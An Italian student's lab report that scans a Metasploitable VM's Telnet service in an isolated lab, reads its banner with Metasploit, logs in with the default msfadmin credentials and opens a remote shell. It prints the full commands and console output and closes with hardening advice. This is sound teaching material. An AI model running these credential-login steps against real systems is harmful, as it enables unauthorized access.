Cyber Security Part Time – CSPT0425IT
Studente: Santi Lo Faro
Data: 07/04/2026

Analisi del servizio Telnet su Metasploitable tramite moduli auxiliary di Metasploit

Introduzione

In questo laboratorio è stata svolta un'attività di penetration testing in ambiente controllato, con l'obiettivo di analizzare un servizio attivo su una macchina target e raccogliere informazioni utili all'identificazione di eventuali vulnerabilità.

L'ambiente di lavoro è composto da due macchine virtuali:

macchina attaccante (Kali Linux): 192.168.50.100

macchina target (Metasploitable): 192.168.50.101

Entrambe le macchine sono configurate sulla stessa rete interna, permettendo una comunicazione diretta tra attaccante e target.

L'obiettivo dell'esercizio è analizzare il servizio Telnet (porta 23) presente sulla macchina Metasploitable utilizzando i moduli auxiliary di Metasploit.
Il protocollo Telnet è un protocollo di rete che consente l'accesso remoto a un sistema tramite riga di comando. Tuttavia, è considerato insicuro poiché trasmette i dati in chiaro, rendendolo vulnerabile a intercettazioni e accessi non autorizzati.

Operazioni preliminari: verifica connettività e scansione del servizio Telnet

Prima di procedere con l'utilizzo di Metasploit, è stata verificata la corretta configurazione della rete e la raggiungibilità della macchina target.

Attraverso il comando:

```
ip a
```

è stato confermato l'indirizzo IP assegnato alla macchina Kali Linux:

192.168.50.100

Successivamente è stato eseguito un test di connettività verso la macchina Metasploitable (192.168.50.101) utilizzando il comando:

```
ping 192.168.50.101
```

L'esito positivo, con pacchetti inviati e ricevuti senza perdita, conferma che le due macchine comunicano correttamente sulla stessa rete.

Verificata la connettività, si è passati alla fase di scansione del servizio Telnet tramite il tool Nmap, utilizzato per identificare porte aperte e servizi attivi su un sistema.

Il comando utilizzato è:

```
nmap -p 23 192.168.50.101
```

L'opzione `-p 23` indica a Nmap di analizzare esclusivamente la porta 23, associata al protocollo Telnet.

Dall'analisi risulta che:

porta 23 → stato open → servizio Telnet attivo

Questo conferma la presenza del servizio Telnet sulla macchina target, rendendolo un possibile punto di analisi nelle fasi successive.

Avvio di Metasploit

Dopo aver verificato la presenza del servizio Telnet, è stato avviato Metasploit, framework utilizzato per attività di penetration testing, tramite il comando:

```
msfconsole
```

L'avvio della console MSFConsole consente di accedere all'interfaccia principale di Metasploit, da cui è possibile ricercare e utilizzare moduli per l'analisi e lo sfruttamento delle vulnerabilità.

```
┌──(kali㉿kali)-[~]
└─$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:1f:b7:23 brd ff:ff:ff:ff:ff:ff
    inet 192.168.50.100/24 brd 192.168.50.255 scope global noprefixroute eth0
       valid_lft forever preferred_lft forever

┌──(kali㉿kali)-[~]
└─$ ping 192.168.50.101
PING 192.168.50.101 (192.168.50.101) 56(84) bytes of data.
64 bytes from 192.168.50.101: icmp_seq=1 ttl=64 time=4.52 ms
64 bytes from 192.168.50.101: icmp_seq=2 ttl=64 time=0.635 ms
64 bytes from 192.168.50.101: icmp_seq=3 ttl=64 time=0.453 ms
^C
--- 192.168.50.101 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2028ms
rtt min/avg/max/mdev = 0.453/1.869/4.521/1.876 ms

┌──(kali㉿kali)-[~]
└─$ nmap -p 23 192.168.50.101
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-07 13:25 EDT
Nmap scan report for 192.168.50.101
Host is up (0.00041s latency).

PORT   STATE SERVICE
23/tcp open  telnet
MAC Address: 08:00:27:63:10:CE (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.49 seconds
```

```
┌──(kali㉿kali)-[~]
└─$ msfconsole
Metasploit tip: Save the current environment with the save command,
future console restarts will use this environment again

%%%
```

Ricerca e selezione del modulo auxiliary

Dopo aver avviato Metasploit, si è passati alla ricerca del modulo più adatto per analizzare il servizio Telnet individuato sulla macchina target.

La ricerca è stata effettuata utilizzando il comando:

search telnet_version

Questo comando consente di individuare moduli specifici all'interno del framework Metasploit utilizzando una parola chiave. Nel risultato della ricerca compaiono diversi moduli, tra cui:

auxiliary/scanner/telnet/telnet_version

Il modulo telnet_version effettua una connessione al servizio Telnet sulla porta 23 e legge direttamente il banner restituito dal server. Il codice del modulo analizza la risposta del servizio senza autenticarsi, estraendo informazioni come messaggi di login e identificativi del sistema.

Una volta individuato il modulo corretto, è stato selezionato tramite il comando:

use auxiliary/scanner/telnet/telnet_version

Dopo la selezione, è stata verificata la configurazione del modulo utilizzando il comando:

show options

Questo comando mostra i parametri necessari per l'esecuzione del modulo. Tra questi, il parametro fondamentale è:

RHOSTS → rappresenta l'indirizzo IP della macchina target

```
msf > search telnet_version

Matching Modules
================

   #  Name                                                  Disclosure Date  Rank    Check  Description
   -  ----                                                  ---------------  ----    -----  -----------
   0  auxiliary/scanner/telnet/lantronix_telnet_version  .                normal  No     Lantronix Telnet Service Banner Detection
   1  auxiliary/scanner/telnet/telnet_version            .                normal  No     Telnet Service Banner Detection


Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/telnet/telnet_version

msf > use auxiliary/scanner/telnet/telnet_version
msf auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS                     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT     23               yes       The target port (TCP)
   THREADS   1                yes       The number of concurrent threads (max one per host)
   TIMEOUT   30               yes       Timeout for the Telnet probe
   USERNAME                   no        The username to authenticate as


View the full module info with the info, or info -d command.
```

Configurazione del modulo

Dopo aver analizzato i parametri richiesti dal modulo tramite il comando `show options`, si è proceduto alla configurazione del parametro fondamentale per l'esecuzione del test.

Il parametro obbligatorio da impostare è:

RHOSTS → indirizzo IP della macchina target

Poiché questo parametro è richiesto (Required = yes), è stato configurato utilizzando il comando:

set RHOSTS 192.168.50.101

Questo comando assegna al modulo l'indirizzo IP della macchina Metasploitable su cui eseguire l'analisi del servizio Telnet.

Successivamente, è stato eseguito nuovamente il comando:

show options

per verificare che la configurazione fosse stata applicata correttamente.

Dalla verifica risulta che:

RHOSTS è impostato su 192.168.50.101

A questo punto, il modulo risulta correttamente configurato ed è pronto per essere eseguito contro la macchina target.

```
msf auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS                     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT     23               yes       The target port (TCP)
   THREADS   1                yes       The number of concurrent threads (max one per host)
   TIMEOUT   30               yes       Timeout for the Telnet probe
   USERNAME                   no        The username to authenticate as


View the full module info with the info, or info -d command.

msf auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS    192.168.50.101   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT     23               yes       The target port (TCP)
   THREADS   1                yes       The number of concurrent threads (max one per host)
   TIMEOUT   30               yes       Timeout for the Telnet probe
   USERNAME                   no        The username to authenticate as


View the full module info with the info, or info -d command.
```

Esecuzione del modulo e analisi dei risultati

Dopo aver completato la configurazione del modulo, si è proceduto con l'esecuzione dello stesso utilizzando il comando:

run

Il modulo `telnet_version` ha effettuato una connessione al servizio Telnet attivo sulla macchina target (porta 23) e ha restituito il banner del servizio, ovvero le informazioni esposte dal sistema al momento della connessione.

```
msf auxiliary(scanner/telnet/telnet_version) > run
[+] 192.168.50.101:23      - 192.168.50.101:23 TELNET _
| (_| | |_) | |  __// __/ \x0a|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___
msfadmin to get started\x0a\x0a\x0ametasploitable login:
[*] 192.168.50.101:23      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

(vedere allegato 5 per immagine completa)

Dall'output ottenuto emergono informazioni rilevanti:

- identificazione del sistema come Metasploitable
- messaggio di avviso relativo all'uso della macchina in ambienti non sicuri
- prompt di login Telnet (metasploitable login:)
- indicazione delle credenziali di default: msfadmin / msfadmin

Queste informazioni sono estremamente importanti in ambito di sicurezza, poiché rappresentano una forma di esposizione non sicura di dati sensibili (banner disclosure). In particolare, la presenza di credenziali di default facilmente individuabili costituisce una vulnerabilità critica.

Accesso al sistema tramite telnet_login

Dopo aver raccolto le informazioni dal servizio Telnet e aver individuato le credenziali di default, si è proceduto con la fase di accesso al sistema utilizzando un secondo modulo auxiliary di Metasploit: `telnet_login`.

Il modulo telnet_login, invece, implementa un meccanismo di autenticazione automatizzata. Il codice invia le credenziali specificate al servizio Telnet e verifica la risposta del server. In caso di autenticazione riuscita, il modulo stabilisce una sessione remota, permettendo l'esecuzione di comandi sul sistema target.

Il modulo è stato selezionato con il comando:

use auxiliary/scanner/telnet/telnet_login

Successivamente sono stati configurati i parametri necessari:

set RHOSTS 192.168.50.101
set USERNAME msfadmin
set PASSWORD msfadmin

In questo caso:

- RHOSTS indica la macchina target
- USERNAME e PASSWORD sono le credenziali individuate nella fase precedente

È stato eseguito il comando `show options` per verificare la configurazione (nel tentativo iniziale è stato utilizzato erroneamente `show option`, ma l'errore non ha compromesso l'esecuzione del modulo).

Esecuzione del modulo:

run

Dall'output risulta:

- Login Successful: msfadmin:msfadmin
- apertura di una sessione: Command shell session 1

Questo indica che le credenziali sono valide e che è stato possibile ottenere accesso remoto alla macchina target.

Il modulo ha automaticamente aperto una sessione Telnet, ovvero una connessione interattiva che permette di eseguire comandi direttamente sul sistema compromesso.

```
┌──(kali㉿kali)-[~]
└─$ msfconsole
Metasploit tip: You can pivot connections over sessions started with the
ssh_login modules


       .:ok000kdc'           'cdk000ko:.
     .x000000000000c       c000000000000x.
    :000000000000000k,   ,k000000000000000:
   '000000000kkkk00000: :000000000000000000'
   o00000000.MMMM.o0000o0000l.MMMM,00000000o
   d00000000.MMMMMM.c00000c.MMMMMM,00000000x
   l00000000.MMMMMMMMM;d;MMMMMMMMM,00000000l
   .00000000.MMM.;MMMMMMMMMMM;MMMM,00000000.
    c0000000.MMM.00c.MMMMM'o00.MMM,0000000c
     o000000.MMM.0000.MMM:0000.MMM,000000o
      l00000.MMM.0000.MMM:0000.MMM,00000l
       ;0000.MMM.0000.MMM:0000.MMM;0000;
        .d00o'WM.0000occcx0000.MX'x00d.
          ,k0l'M.0000000000000.M'd0k,
            :kk;.000000000000000.;0k:
              ;k000000000000000k:
                ,x00000000000x,
                  .l00000000l.
                     ,d0d,
                       .

       =[ metasploit v6.4.84-dev                          ]
+ -- --=[ 2,547 exploits - 1,309 auxiliary - 1,683 payloads     ]
+ -- --=[ 432 post - 49 encoders - 13 nops - 9 evasion          ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > use auxiliary/scanner/telnet/telnet_login
msf auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf auxiliary(scanner/telnet/telnet_login) > set USERNAME msfadmin
USERNAME => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set PASSWORD msfadmin
PASSWORD => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > show option
[-] Invalid parameter "option", use "show -h" for more information
msf auxiliary(scanner/telnet/telnet_login) > run
[!] 192.168.50.101:23     - No active DB -- Credential data will not be saved!
[+] 192.168.50.101:23     - 192.168.50.101:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.50.101:23     - Attempting to start session 192.168.50.101:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (192.168.50.100:46103 -> 192.168.50.101:23) at 2026-04-07 13:39:02 -0400
[*] 192.168.50.101:23     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/telnet/telnet_login) > sessions

Active sessions
===============

  Id  Name  Type   Information                                  Connection
  --  ----  ----   -----------                                  ----------
  1         shell  TELNET msfadmin:msfadmin (192.168.50.101:23)  192.168.50.100:46103 -> 192.168.50.101:23 (192.168.50.101)
```

Verifica della sessione

Per verificare le sessioni attive, è stato utilizzato il comando:

sessions

L'output mostra:

- sessione attiva di tipo shell
- connessione tra Kali (192.168.50.100) e Metasploitable (192.168.50.101) sulla porta 23

Questo conferma che l'accesso al sistema è stato stabilito con successo.

Interazione con la macchina compromessa e verifica dell'accesso

Dopo aver stabilito con successo la connessione tramite il modulo `telnet_login`, si è proceduto all'interazione diretta con la macchina target attraverso la sessione aperta.

Per accedere alla sessione attiva è stato utilizzato il comando:

sessions -i 1

Questo comando consente di interagire (-i) con la sessione identificata dall'ID 1, aprendo una shell remota sulla macchina Metasploitable.

Una volta all'interno del sistema, sono stati eseguiti alcuni comandi di base per verificare l'accesso e raccogliere informazioni sul sistema.

Verifica dell'utente corrente:

```
whoami
```

Output:
msfadmin

Questo conferma che l'accesso è stato effettuato con l'utente msfadmin, coerente con le credenziali utilizzate.

Identificazione del sistema operativo:

```
uname -a
```

Output:
Linux metasploitable 2.6.24-16-server ... GNU/Linux

Verifica della configurazione di rete:

```
ifconfig
```

Questo comando mostra le interfacce di rete e le relative configurazioni. In particolare:

- interfaccia eth0 → indirizzo IP 192.168.50.101
- subnet mask → 255.255.255.0
- presenza dell'interfaccia loopback (127.0.0.1), utilizzata per comunicazioni interne al sistema

Queste informazioni confermano che la macchina compromessa corrisponde al target previsto.

```
msf auxiliary(scanner/telnet/telnet_login) > sessions -i 1
[*] Starting interaction with 1...


msfadmin@metasploitable:~$ whoami
whoami
msfadmin
msfadmin@metasploitable:~$ uname -a
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
msfadmin@metasploitable:~$ ifconfig
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:63:10:ce
          inet addr:192.168.50.101  Bcast:192.168.50.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe63:10ce/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:86 errors:0 dropped:0 overruns:0 frame:0
          TX packets:155 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:7392 (7.2 KB)  TX bytes:15435 (15.0 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:189 errors:0 dropped:0 overruns:0 frame:0
          TX packets:189 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:58605 (57.2 KB)  TX bytes:58605 (57.2 KB)

msfadmin@metasploitable:~$
```

Conclusione della fase

Questa fase dimostra che:

- è stato possibile ottenere accesso remoto alla macchina target
- l'accesso è stato effettuato con credenziali di default
- l'attaccante è in grado di eseguire comandi sul sistema

Questo rappresenta un caso concreto di compromissione del sistema, dovuto a configurazioni insicure del servizio Telnet e all'utilizzo di credenziali deboli o predefinite.

Considerazioni finali

L'attività svolta ha evidenziato come la presenza di servizi insicuri, come Telnet, e l'utilizzo di credenziali di default possano compromettere facilmente un sistema.

Attraverso l'uso dei moduli auxiliary di Metasploit è stato possibile:

- identificare il servizio attivo
- raccogliere informazioni sensibili
- ottenere accesso al sistema

Questo laboratorio dimostra l'importanza di:

- disabilitare servizi non sicuri
- utilizzare credenziali robuste
- limitare l'esposizione dei servizi in rete

In assenza di queste misure, un attaccante può ottenere accesso non autorizzato con estrema facilità.